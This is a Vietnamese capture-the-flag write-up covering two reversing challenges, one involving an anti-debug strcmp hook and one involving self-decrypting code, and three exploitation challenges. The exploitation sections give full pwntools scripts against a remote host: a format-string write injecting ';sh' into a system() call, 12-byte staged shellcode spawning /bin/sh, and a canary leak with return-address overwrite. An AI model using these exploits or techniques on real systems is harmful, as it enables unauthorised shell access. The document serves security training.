rev/two-faces (0 solve)
Challenge Information
- 0 solve / 500 pts / by sonx
- Given files: rev_two_faces.rar
- Description: Don’t judge a book by its cover.
0x01 Overview
Nội dung hàm main
sau khi đã được rename các hàm, các biến
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
| int __cdecl main_0(int argc, const char **argv, const char **envp)
{
FILE *v3; // eax
char v5; // [esp+0h] [ebp-164h]
char v6; // [esp+0h] [ebp-164h]
size_t v7; // [esp+10h] [ebp-154h]
int round; // [esp+DCh] [ebp-88h]
int k; // [esp+E8h] [ebp-7Ch]
int j; // [esp+F4h] [ebp-70h]
int i; // [esp+100h] [ebp-64h]
_DWORD *Block; // [esp+10Ch] [ebp-58h]
char *subInput; // [esp+130h] [ebp-34h]
char input[36]; // [esp+13Ch] [ebp-28h] BYREF
__CheckForDebuggerJustMyCode(&unk_FDD015);
Block = malloc(16u);
for ( i = 0; i < 4; ++i )
{
Block[i] = malloc(4u);
}
j_memset(input, 0, 0x20u);
printf("Show your skills. What is the flag?\n", v5);
v3 = _acrt_iob_func(0);
fgets(input, 0x20, v3);
if ( input[strlen1(input) - 1] == 0xA )
{
v7 = strlen1(input) - 1;
if ( v7 >= 0x20 )
{
j____report_rangecheckfailure();
}
input[v7] = 0;
}
if ( strlen1(input) != 22 )
{
goto labelFail;
}
subInput = (char *)splitInput(input);
if ( !subInput )
{
goto labelFail;
}
if ( strlen1(subInput) != 0x10 )
{
goto labelFail;
}
for ( j = 0; j < 4; ++j )
{
for ( k = 0; k < 4; ++k )
{
*(_BYTE *)(Block[j] + k) = subInput[4 * j + k];
}
}
for ( round = 0; round < 100; ++round )
{
encrypt1((int)Block, 4, 4);
encrypt2((int)Block, 4, 4u);
encrypt3(Block, 4, 4);
encrypt4((int)Block, 4, 4, round + 0x55);
}
if ( j_checkFlag((char *)Block, 4, 4) )
{
printf("Good. Nice work", v6);
free(Block);
return 0;
}
else
{
labelFail:
printf("Wrong flag! You chicken", v6);
free(Block);
return 0;
}
}
|
Luồng hoạt động chính của chương trình được tóm tắt như sau:
Bước 1: Cấp phát động cho Block
có kích thước 16 byte. Với mỗi Block[i]
lại được tiếp tục cấp phát 4 byte. Mục đích sẽ là tạo một ma trận có kích thước 4x4.
1
2
3
4
5
| Block = malloc(16u);
for ( i = 0; i < 4; ++i )
{
Block[i] = malloc(4u);
}
|
Bước 2: Kiểm tra độ dài input
dài 22 bytes, bắt đầu KCSC{
, kết thúc bằng }
.
Bước 3: Chia input
thành từng phần rồi cho vào mảng Block
1
2
3
4
5
6
7
| for ( j = 0; j < 4; ++j )
{
for ( k = 0; k < 4; ++k )
{
*(_BYTE *)(Block[j] + k) = subInput[4 * j + k];
}
}
|
Bước 4: Duyệt 100 lần, mỗi lần Block
sẽ được encrypt bởi 4 hàm mã hóa
1
2
3
4
5
6
7
| for ( round = 0; round < 100; ++round )
{
encrypt1((int)Block, 4, 4);
encrypt2((int)Block, 4, 4u);
encrypt3(Block, 4, 4);
encrypt4((int)Block, 4, 4, round + 0x55);
}
|
Sau khi debug rồi quan sát output, ta sẽ biết được chức năng của các hàm như sau
encrypt1
xoay các hàng theo thứ tự từ phải sang trái với số lần là 0, 1, 2, 3.

encrypt2
xoay các cột theo thứ tự từ dưới lên trên với số lần là 0, 1, 2, 3

encrypt3
đổi 4 bit đầu và cuối của 1 byte. Ví dụ 0x61
→ 0x16
encrypt4
xor với (i + 0x55) với i chạy từ 0 → 99, tương ứng với index của từng round.
Bước 5: Sau 100 round encrypt ở trên, Block
thu được sẽ đem đi so sánh với chuỗi FDA6FF91ADA0FDB7ABA9FB91EFAFFAA2
0x02 Fake flag
Mấu chốt để giải bài này nằm ở việc phải đi viết lại 4 hàm decrypt ở trên. Đây là code giải mã của mình cho 4 hàm phía trên.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
| def unShiftRow(blk):
blk[0] = blk[0][0 : ] + blk[0][ : 0]
blk[1] = blk[1][3 : ] + blk[1][ : 3]
blk[2] = blk[2][2 : ] + blk[2][ : 2]
blk[3] = blk[3][1 : ] + blk[3][ : 1]
return blk
def unShiftCol(blk):
cols = []
unshifted_col = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]
# get col
for col in range(4):
cols.append([blk[row][col] for row in range(4)])
# unshifted col
unshifted_col[0] = cols[0][0 : ] + cols[0][ : 0]
unshifted_col[1] = cols[1][3 : ] + cols[1][ : 3]
unshifted_col[2] = cols[2][2 : ] + cols[2][ : 2]
unshifted_col[3] = cols[3][1 : ] + cols[3][ : 1]
for i in range(4):
for j in range(4):
blk[i][j] = unshifted_col[j][i]
return blk
def unSwapBit(blk):
for i in range(4):
for j in range(4):
blk[i][j] = ((blk[i][j] & 0x0F) << 4) | ((blk[i][j] & 0xF0) >> 4)
return blk
def unXor(blk, round):
for i in range(4):
for j in range(4):
blk[i][j] ^= (round + 0x55)
def main():
res = "FDA6FF91ADA0FDB7ABA9FB91EFAFFAA2"
elements = [int(res[i : i+2], 16) for i in range(0, len(res), 2)]
block = [elements[i : i+4] for i in range(0, len(elements), 4)]
round = 99
while(round >= 0):
unXor(block, round)
unSwapBit(block)
unShiftCol(block)
unShiftRow(block)
round -= 1
flag = "KCSC{"
for i in range(4):
for j in range(4):
flag += chr(block[i][j])
flag += "}"
print(flag)
if __name__ == "__main__":
main()
# KCSC{3a5y_ch41leng3_!}
|
Mình thử chạy lại chương trình với flag thu được KCSC{3a5y_ch41leng3_!}
nhưng kết quả sai.
0x03 Anti Debug - Hooking
Sau khi trace lại từ đâu, có một hàm tên là TlsCallback_0_0
được chạy trước cả hàm main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| void *__stdcall TlsCallback_0_0(int a1, int a2, int a3)
{
void *result; // eax
char v4; // [esp+D4h] [ebp-4Ch] BYREF
char v5[15]; // [esp+D5h] [ebp-4Bh] BYREF
int Src[3]; // [esp+E4h] [ebp-3Ch] BYREF
bool v7; // [esp+F3h] [ebp-2Dh]
SIZE_T dwSize; // [esp+FCh] [ebp-24h]
DWORD flOldProtect[3]; // [esp+108h] [ebp-18h] BYREF
LPVOID lpAddress; // [esp+114h] [ebp-Ch]
__CheckForDebuggerJustMyCode(&unk_FDD015);
result = (void *)IsDebuggerPresent();
if ( !result )
{
Src[0] = (int)sub_FD133E;
v4 = 0x68;
v5[4] = 0xC3;
j_memcpy(v5, Src, 4u);
dwSize = 6;
lpAddress = j_strcmp;
v7 = VirtualProtect(j_strcmp, 6u, 0x40u, flOldProtect);
return j_memcpy(lpAddress, &v4, dwSize);
}
return result;
}
|
Chương trình có gọi hàm antidebug IsDebuggerPresent
. Chúng ta có thể đổi trạng thái của cờ ZF để đi tiếp vào trong.
1
2
3
4
| Src[0] = (int)sub_FD133E;
v4 = 0x68;
v5[4] = 0xC3;
j_memcpy(v5, Src, 4u);
|
Sau 4 lệnh phía trên, chúng ta hãy chú ý tới các giá trị này trong stack

Đây chính là một đoạn mã assembly nhỏ
Tiếp theo, chương trình gọi VirtualProtect(j_strcmp, 6u, 0x40u, flOldProtect)
thay đổi lớp bảo vệ của vùng nhớ với lần lượt 4 đối số:
- j_strcmp: Địa chỉ bắt đầu của vùng nhớ
- 6: Kích thước ảnh hưởng của vùng nhớ. Ở đây, vùng nhớ bị thay đổi sẽ từ
j_strcmp
→ j_strcmp + 6
- 0x40u:
PAGE_EXECUTE_READWRITE
, kích hoạt quyền thực thi, đọc, viết cho vùng nhớ - flOldProtect: Con trỏ trỏ tới biến lưu quyền truy cập cũ của vùng nhớ.
Đọc thêm thông tin ở https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
Khi chạy nốt các dòng lệnh còn lại, click vào j_strcmp
, ta sẽ thấy push 0xFD133E
và ret
. Điều đó đồng nghĩa với việc gọi hàm sub_FD133E
. Nói tóm lại, khi chúng ta gọi hàm strcmp
, nó sẽ thực thi hàm sub_FD133E

Click vào hàm sub_FD133E
nó lại tiếp tục nhảy tới hàm sub_FD61D0
. Đây là mã giả của nó
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
| int __cdecl sub_FD61D0(char *input, char *cmpInput)
{
size_t j; // [esp+D0h] [ebp-78h]
size_t v4; // [esp+DCh] [ebp-6Ch]
unsigned int i; // [esp+E8h] [ebp-60h]
char newCmpInput[44]; // [esp+F4h] [ebp-54h] BYREF
char buf[32]; // [esp+120h] [ebp-28h] BYREF
__CheckForDebuggerJustMyCode(&unk_FDD015);
buf[0] = 7;
strcpy(&buf[1], "|");
buf[3] = 7;
buf[4] = 0x7F;
buf[5] = 0x77;
buf[6] = 0x78;
buf[7] = 1;
buf[8] = 0;
buf[9] = 0x73;
buf[0xA] = 7;
strcpy(&buf[0xB], "u");
buf[0xD] = 2;
buf[0xE] = 3;
buf[0xF] = 0x73;
buf[0x10] = 7;
buf[0x11] = 7;
buf[0x12] = 0;
buf[0x13] = 0xC;
buf[0x14] = 7;
buf[0x15] = 0x72;
buf[0x16] = 0x7B;
buf[0x17] = 0x70;
buf[0x18] = 4;
buf[0x19] = 0x7F;
buf[0x1A] = 3;
buf[0x1B] = 4;
buf[28] = 7;
strcpy(&buf[0x1D], "q");
buf[31] = 4;
j_memset(newCmpInput, 0, 36u);
for ( i = 0; i < 32; ++i )
{
newCmpInput[i] = buf[i] ^ cmpInput[i];
}
v4 = strlen1(newCmpInput);
for ( j = 0; j < v4; ++j )
{
if ( input[j] < newCmpInput[j] )
{
return -1;
}
if ( input[j] > newCmpInput[j] )
{
return 1;
}
}
return 0;
}
|
Tới đây thì rõ ràng rồi, cmpInput
bị xor với mảng buf
rồi mới được đem đi so sánh với input
của chúng ta. Mình chỉ cần xor ngược lại là có thể giải được bài toán và thu được flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
| def unShiftRow(blk):
blk[0] = blk[0][0 : ] + blk[0][ : 0]
blk[1] = blk[1][3 : ] + blk[1][ : 3]
blk[2] = blk[2][2 : ] + blk[2][ : 2]
blk[3] = blk[3][1 : ] + blk[3][ : 1]
return blk
def unShiftCol(blk):
cols = []
unshifted_col = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]
# get col
for col in range(4):
cols.append([blk[row][col] for row in range(4)])
# unshifted col
unshifted_col[0] = cols[0][0 : ] + cols[0][ : 0]
unshifted_col[1] = cols[1][3 : ] + cols[1][ : 3]
unshifted_col[2] = cols[2][2 : ] + cols[2][ : 2]
unshifted_col[3] = cols[3][1 : ] + cols[3][ : 1]
for i in range(4):
for j in range(4):
blk[i][j] = unshifted_col[j][i]
return blk
def unSwapBit(blk):
for i in range(4):
for j in range(4):
blk[i][j] = ((blk[i][j] & 0x0F) << 4) | ((blk[i][j] & 0xF0) >> 4)
return blk
def unXor(blk, round):
for i in range(4):
for j in range(4):
blk[i][j] ^= (round + 0x55)
def main():
cmpInput = "FDA6FF91ADA0FDB7ABA9FB91EFAFFAA2"
buf = [7 , 124 , 0 , 7 , 127 , 119 , 120 , 1 , 0 , 115 , 7 , 117 , 0 , 2 , 3 , 115 , 7 , 7 , 0 , 12 , 7 , 114 , 123 , 112 , 4 , 127 , 3 , 4 , 7 , 113 , 0 , 4]
newCmpInput = ""
for i in range(len(cmpInput)):
newCmpInput += chr(buf[i] ^ ord(cmpInput[i]))
elements = [int(newCmpInput[i : i+2], 16) for i in range(0, len(newCmpInput), 2)]
block = [elements[i : i+4] for i in range(0, len(elements), 4)]
round = 99
while(round >= 0):
unXor(block, round)
unSwapBit(block)
unShiftCol(block)
unShiftRow(block)
round -= 1
flag = "KCSC{"
for i in range(4):
for j in range(4):
flag += chr(block[i][j])
flag += "}"
print(flag)
if __name__ == "__main__":
main()
|
FLAG: KCSC{function_h00k1ng}
rev/dynamic function (2 solves)
Challenge Information
- 2 solves / 496 pts / by sonx
- Given files: rev_dynamic_function.rar
- Description: Unless I am in motion, I remain invisible.
0x01 Overview
Decompile file exe bằng IDA64, sau khi đổi tên các hàm, các biến, chúng ta thu được hàm main()
như sau
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
| int __cdecl main_0(int argc, const char **argv, const char **envp)
{
FILE *v3; // eax
size_t subInputLength; // eax
char v6; // [esp+0h] [ebp-14Ch]
char v7; // [esp+0h] [ebp-14Ch]
size_t v8; // [esp+10h] [ebp-13Ch]
size_t j; // [esp+DCh] [ebp-70h]
unsigned int i; // [esp+E8h] [ebp-64h]
void (__cdecl *lpAddress)(char *, char *, size_t); // [esp+F4h] [ebp-58h]
char *output; // [esp+10Ch] [ebp-40h]
char *subInput; // [esp+118h] [ebp-34h]
char input[36]; // [esp+124h] [ebp-28h] BYREF
__CheckForDebuggerJustMyCode(&unk_D5C017);
j_memset(input, 0, 0x20u);
malloc(0x19u);
output = (char *)malloc(0x19u);
printf("Show your skills. What is the flag?\n", v6);
v3 = _acrt_iob_func(0);
fgets(input, 0x20, v3);
if ( input[strlen1(input) - 1] == 0xA )
{
v8 = strlen1(input) - 1;
if ( v8 >= 0x20 )
{
j____report_rangecheckfailure();
}
input[v8] = 0;
}
if ( strlen1(input) == 30 && (subInput = (char *)splitInput(input)) != 0 && strlen1(subInput) == 24 )
{
lpAddress = (void (__cdecl *)(char *, char *, size_t))VirtualAlloc(0, 0xA4u, 0x1000u, 0x40u);
if ( lpAddress )
{
for ( i = 0; i < 0xA4; ++i )
{
*((_BYTE *)lpAddress + i) = byte_D57C50[i] ^ 0x41;
}
subInputLength = strlen1(subInput);
lpAddress(subInput, output, subInputLength);
VirtualFree(lpAddress, 0xA4u, 0x8000u);
for ( j = 0; j < strlen1(subInput); ++j )
{
if ( output[j] != expectedOutput[j] )
{
goto labelFail;
}
}
printf("Not uncorrect ^_^", v7);
return 0;
}
else
{
perror("VirtualAlloc failed");
return 1;
}
}
else
{
labelFail:
printf("Not correct @_@", v7);
return 0;
}
}
|
Tóm tắt luồng hoạt động của chương trình trên:
Bước 1: Cho người dùng nhập vào input
từ bàn phím. Đổi byte cuối cùng \n
(khi nhấn enter) thành byte kết thúc chuỗi \x00
.
Bước 2: So sánh độ dài chuỗi input
với 30, hàm con splitInput()
kiểm tra input
có bắt đầu bằng chuỗi KCSC{
và kết thúc bằng }
hay không. Kết thúc kiểm tra, thu được output
có độ dài 24 byte chính là phần ở giữa của chuỗi bắt đầu và kết thúc.
Bước 3: VirtualAlloc(0, 0xA4u, 0x1000u, 0x40u)
phân bổ một vùng nhớ mới với 4 đối số như sau:
- 0: Hàm tự động chọn địa chỉ cho vùng nhớ
- 0xA4u: Kích thước của vùng nhớ
- 0x1000u:
MEM_COMMIT
, đặt quyền truy cập cho vùng nhớ - 0x40u:
PAGE_EXECUTE_READWRITE
, đặt quyền đọc ghi, thực thi cho vùng nhớ
Đọc thêm thông tin ở https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
Hàm sẽ trả về là địa chỉ của vùng nhớ mới, được lưu trong biến lpAddress
Bước 4: Chương trình ghi lần lượt các byte vào vùng nhớ mới
1
2
3
4
| for ( i = 0; i < 0xA4; ++i )
{
*((_BYTE *)lpAddress + i) = byte_D57C50[i] ^ 0x41;
}
|
Bước 5: Tiếp theo, chương trình sẽ thực hiện các lệnh trong vùng nhớ mới. Sau khi kết thúc việc gọi hàm, ta sẽ thu được output
1
| lpAddress(subInput, output, subInputLength);
|
Bước 6: So sánh output
với chuỗi byte expectedOutput
có sẵn
1
2
3
4
5
6
7
| for ( j = 0; j < strlen1(subInput); ++j )
{
if ( output[j] != expectedOutput[j] )
{
goto labelFail;
}
}
|
0x02 Dynamic Analysis
Sau bản tóm tắt trên, mấu chốt của bài toán nằm ở đoạn code gọi hàm động lpAddress
. Chúng ta cần phải biết nó thực sự đã làm gì với input
ban đầu.
Đặt breakpoint tại dòng 44, ấn F7 tại text:00D558BD
để đi sâu vào từng câu lệnh. Input ban đầu chúng ta nhập sẽ là KCSC{aaaaaaaaaaaaaaaaaaaaaaaa}
1
| .text:00D558BD call [ebp+lpAddress]
|
Đây là một phần mã assembly của hàm lpAddress

Ta có thể click chuột phải, chọn chức năng Create function (phím P) và thu được hàm như sau
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| int __cdecl sub_DF0000(int a1, int a2, int a3)
{
_WORD v4[15]; // [esp+2h] [ebp-1Eh] BYREF
strcpy((char *)v4, "reversing_is_pretty_cool");
*(_DWORD *)&v4[0xD] = 0;
while ( *(int *)&v4[0xD] < a3 )
{
HIBYTE(v4[0xC]) = 0x10 * (*(char *)(*(_DWORD *)&v4[0xD] + a1) % 0x10)
+ *(char *)(*(_DWORD *)&v4[0xD] + a1) / 0x10;
*(_BYTE *)(a2 + *(_DWORD *)&v4[0xD]) = HIBYTE(v4[0xC]) ^ *((_BYTE *)v4 + *(_DWORD *)&v4[0xD]);
++*(_DWORD *)&v4[0xD];
}
return 0;
}
|
Ta cần sửa lại kiểu dữ liệu của một số biến cho dễ đọc hơn. Ấn y
vào tên hàm để định nghĩa lại các tham số của hàm.

Đổi lại tên, kiểu dữ liệu và kích thước cho mảng v4

Mình biết mảng buf
có size 25 bởi vì nó strcpy chuỗi “reversing_is_pretty_cool” có size 25 vào buf
.
Đến đây, ta đã thu được một hàm nhìn code rất đẹp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| int __cdecl sub_DF0000(char *subInput, char *output, int subInputLength)
{
char buf[25]; // [esp+2h] [ebp-1Eh] BYREF
char tmp; // [esp+1Bh] [ebp-5h]
int i; // [esp+1Ch] [ebp-4h]
strcpy(buf, "reversing_is_pretty_cool");
for ( i = 0; i < subInputLength; ++i )
{
tmp = 16 * (subInput[i] % 16) + subInput[i] / 16;
output[i] = tmp ^ buf[i];
}
return 0;
}
|
Đoạn encrypt trên rất ngắn gọn, swap 4 bit trước với 4 bit sau của 1 byte. Ví dụ 0x61
→ 0x16
Tiếp theo sẽ xor kết quả trên với mảng buf
rồi đi so sánh với expectedOutput
. Chúng ta dễ dàng viết được code giải mã và thu được flag.
1
2
3
4
5
6
7
8
9
10
11
| buf = [0x72, 0x65, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6E, 0x67, 0x5F, 0x69, 0x73, 0x5F, 0x70, 0x72, 0x65, 0x74, 0x74, 0x79, 0x5F, 0x63, 0x6F, 0x6F, 0x6C]
expectedOutput = [0x44, 0x93, 0x51, 0x42, 0x24, 0x45, 0x2E, 0x9B, 0x01, 0x99, 0x7F, 0x05, 0x4D, 0x47, 0x25, 0x43, 0xA2, 0xE2, 0x3E, 0xAA, 0x85, 0x99, 0x18, 0x7E]
flag = "KCSC{"
for i in range(len(buf)):
res = expectedOutput[i] ^ buf[i]
swapRes = ((res & 0x0F) << 4) | ((res & 0xF0) >> 4)
flag += chr(swapRes)
flag += "}"
print(flag)
|
FLAG: KCSC{correct_flag!submit_now!}
Challenge Information
- 0 solve / 500 pts / by Nuuuuuuuu
- Given files: format.zip
- Description: You don’t have to do anything, i will printf the flag for you^^
nc 103.162.14.116 12001
0x01 Finding the bug
Load file vào IDA64, dễ thấy có lỗ hổng FMT ở dòng printf(buf)
1
2
3
4
5
6
7
8
9
10
11
12
| int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("Do you want to get flag^^");
buf[read(0, buf, 0x25uLL)] = 0;
printf(buf);
system(cmd);
return 0;
}
|
0x02 Exploiting FMT bug
Chương trình gọi hàm system
với cmd
là một câu lệnh echo. Ý tưởng để giải bài này sẽ là tận dụng bug FMT viết thêm chuỗi ;sh
sau câu lệnh đó để lấy shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| from pwn import *
elf = ELF("./format", checksec = False)
# p = process(elf.path)
p = remote("103.162.14.116", 12001)
pause()
write_addr = 0x4040B5
sh = 0x68733b # ;sh
pay = f"%{sh}c%10$n".encode().ljust(0x10, b"\x00") + p64(write_addr)
p.sendline(pay)
p.interactive()
|
FLAG: KCSC{F1rs1_Pr0b13m_w1Th_pR1Ntf}
pwn/pwn1 (0 solve)
Challenge Information
- 0 solve / 500 pts
- Given files: pwn1
- Description: every things start with assembly
nc 103.162.14.116 20001
0x01 Overview
Sử dụng IDA64 decompile chương trình, ta thu được mã giả của hàm main
như sau
1
2
3
4
5
6
7
8
9
10
11
12
| int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+0h] [rbp-10h]
setup(argc, argv, envp);
buf = mmap((void *)0x1337000, 0x1000uLL, 7, 33, -1, 0LL);
puts("Let warm up a bit with shellcode , shall we?");
read(0, buf, 0xCuLL);
puts("OK let see how your shellcode work!!!!");
((void (*)(void))buf)();
return 0;
}
|
Ta thấy, chương trình mmap
1000 byte, bắt đầu tại địa chỉ 0x1337000
với full quyền rwx và yêu cầu chúng ta viết shellcode.
Vấn đề ở đây là chúng ta chỉ nhập được tối đa 12 byte. Vậy nên không thể viết trực tiếp shellcode lấy shell như thông thường được. Mình sẽ mở rộng kích thước số byte được nhập ra và gọi lại hàm read
.
0x02 Final script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| from pwn import *
import time
exe = ELF("./pwn1")
# libc = ELF("./libc.so.6")
# ld = ELF("./ld.so.6")
context.log_level = "debug"
context.arch = "amd64"
context.binary = exe
# p = process(exe.path)
p = remote("103.162.14.116", 20001)
def sla(*args):
return p.sendlineafter(args[0], args[1])
def sl(*args):
return p.sendline(args[0])
shellcode1 = asm("""
mov edx, 0xff
add r13, 87
jmp r13
""")
p.sendafter("shall we?\n", shellcode1)
shellcode2 = asm("""
mov rax, 29400045130965551
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
""")
time.sleep(2)
p.sendline(shellcode2)
p.interactive()
|
FLAG: KCSC{https://www.youtube.com/watch?v=dQw4w9WgXcQ}
pwn/Simple Overflow (2 solves)
Challenge Information
- 2 solves / 496 pts / by Nuuuuuuuu
- Given files: simple_overflow.zip
- Description: simple description since it’s simple overflow
nc 103.162.14.116 12004
0x01 Finding the bug
Chúng ta có thể thấy sự xuất hiện của lỗ hổng BOF ở hàm save_data
tại chức năng read
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| unsigned __int64 __fastcall save_data(const char *a1)
{
int i; // [rsp+14h] [rbp-4Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-48h]
__int64 buf[2]; // [rsp+20h] [rbp-40h] BYREF
char s[8]; // [rsp+30h] [rbp-30h] BYREF
__int64 v6; // [rsp+38h] [rbp-28h]
__int64 v7; // [rsp+40h] [rbp-20h]
__int64 v8; // [rsp+48h] [rbp-18h]
unsigned __int64 v9; // [rsp+58h] [rbp-8h]
v9 = __readfsqword(0x28u);
*(_QWORD *)s = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
buf[0] = 0LL;
buf[1] = 0LL;
snprintf(s, 0x20uLL, "Hi %s, let me keep your data\n", a1);
printf("%s", s);
puts("How many data you want to save?");
v3 = get_long();
fflush(stdin);
for ( i = 0; v3 > i; ++i )
{
puts("Data: ");
read(0, buf, 256uLL);
strcpy(saved_data, (const char *)buf);
puts(saved_data);
}
puts("Your data is saved");
return v9 - __readfsqword(0x28u);
}
|
Ý tưởng khai thác sẽ gồm 2 bước:
- Lần đầu sẽ leak giá trị canary.
- Lần thứ hai sẽ overwrite retaddr.
0x02 Final script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
| #!/usr/bin/env python3
from pwn import *
exe = ELF("./simple_overflow")
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.35.so")
context.os = "linux"
context.arch = "amd64"
context.log_level = "debug"
context.binary = exe
# p = process(exe.path)
p = remote("103.162.14.116", 12004)
def sla(*args):
return p.sendlineafter(args[0], args[1])
def sl(*args):
return p.sendline(args[0])
def sa(*args):
return p.sendafter(args[0], args[1])
def rl():
return p.recvline()
def GDB():
gdb.attach(p, gdbscript = """
b *save_data+0x00eb
continue
""")
pause()
# GDB()
sla("name: \n", b"hacker")
sla("save?\n", b"2")
pay1 = b"A" * 7 * 8 + b"A"
sa("Data: \n", pay1)
p.recvuntil(pay1)
canary = u64(b"\x00" + p.recv(7))
log.info(f"canary = 0x%x" % canary)
fakerbp = 0xdeadbeef
win = exe.symbols["win"]
ret = 0x401526
pay2 = b"B" * 7 * 8 + p64(canary) + p64(fakerbp) + p64(ret) + p64(win)
sa("Data: \n", pay2)
p.interactive()
|
FLAG: KCSC{Y0u_g0T_1h3_Sup3R_s3Cr31_F14g}